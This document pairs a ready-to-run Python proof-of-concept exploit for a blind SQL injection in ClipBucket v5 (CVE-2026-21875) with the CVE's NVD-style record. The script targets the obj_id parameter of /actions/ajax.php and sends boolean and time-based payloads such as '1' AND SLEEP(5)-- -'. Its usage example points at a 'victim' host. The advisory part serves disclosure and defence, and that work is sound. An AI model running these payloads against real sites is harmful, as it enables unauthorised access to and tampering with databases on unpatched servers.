CVE-2026-21875

import requests import sys # CVE-2026-21875 Blind SQL Injection PoC # Target: ClipBucket v5 <= 5.5.2-#187 # Endpoint: /actions/ajax.php def exploit_blind_sql(target_url, payload): """ Blind SQL Injection exploitation payload: SQL injection payload to inject """ endpoint = f"{target_url.rstrip('/')}/actions/ajax.php" data = { 'type': 'add_comment', 'obj_id': payload, # Vulnerable parameter 'comment': 'test' } try: response = requests.post(endpoint, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def verify_vulnerability(target_url): """ Verify if target is vulnerable to CVE-2026-21875 """ print(f"[*] Testing target: {target_url}") # Normal request (baseline) normal_payload = "1" normal_resp = exploit_blind_sql(target_url, normal_payload) # SQL Injection payload - always true condition inject_payload = "1' OR '1'='1" inject_resp = exploit_blind_sql(target_url, inject_payload) # SQL Injection payload - time-based blind (MySQL) time_payload = "1' AND SLEEP(5)-- -" print(f"[*] Sending time-based payload: {time_payload}") time_resp = exploit_blind_sql(target_url, time_payload) if time_resp and time_resp.elapsed.total_seconds() >= 5: print("[+] VULNERABLE! Time-based blind SQL injection confirmed.") return True print("[-] Target may not be vulnerable or already patched.") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://victim.com") sys.exit(1) target = sys.argv[1] verify_vulnerability(target)

{"cve": {"id": "CVE-2026-21875", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:16:00.457", "lastModified": "2026-01-27T19:05:52.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClipBucket v5 is an open source video sharing platform. Versions 5.5.2-#187 and below allow an attacker to perform Blind SQL Injection through the add comment section within a channel. When adding a comment within a channel, there is a POST request to the /actions/ajax.php endpoint. The obj_id parameter within the POST request to /actions/ajax.php is then used within the user_exists function of the upload/includes/classes/user.class. php file as the $id parameter. It is then used within the count function of the upload/includes/classes/db.class. php file. The $id parameter is concatenated into the query without validation or sanitization, and a user-supplied input like 1' or 1=1-- - can be used to trigger the injection. This issue does not have a fix at the time of publication."}, {"lang": "es", "value": "ClipBucket v5 es una plataforma de código abierto para compartir vídeos. Las versiones 5.5.2-#187 y anteriores permiten a un atacante realizar una inyección SQL ciega a través de la sección de comentarios de un canal. Al añadir un comentario en un canal, se envía una solicitud POST al punto final /actions/ajax.php. El parámetro obj_id de la solicitud POST a /actions/ajax.php se utiliza posteriormente en la función user_exists del archivo upload/includes/classes/user.class.php como parámetro $id. A continuación, se utiliza en la función count del archivo upload/includes/classes/db.class.php. El parámetro $id se concatena en la consulta sin validación ni sanitización, y una entrada proporcionada por el usuario como 1' o 1=1-- puede utilizarse para desencadenar la inyección. Esta vulnerabilidad no tiene solución en el momento de la publicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndExcluding": "5.5.2-191", "matchCriteriaId": "9F870E38-684D-4CB6-9A2C-E8CA278B45E0"}]}]}], "references": [{"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-crpv-fmc4-j392", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-crpv-fmc4-j392", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}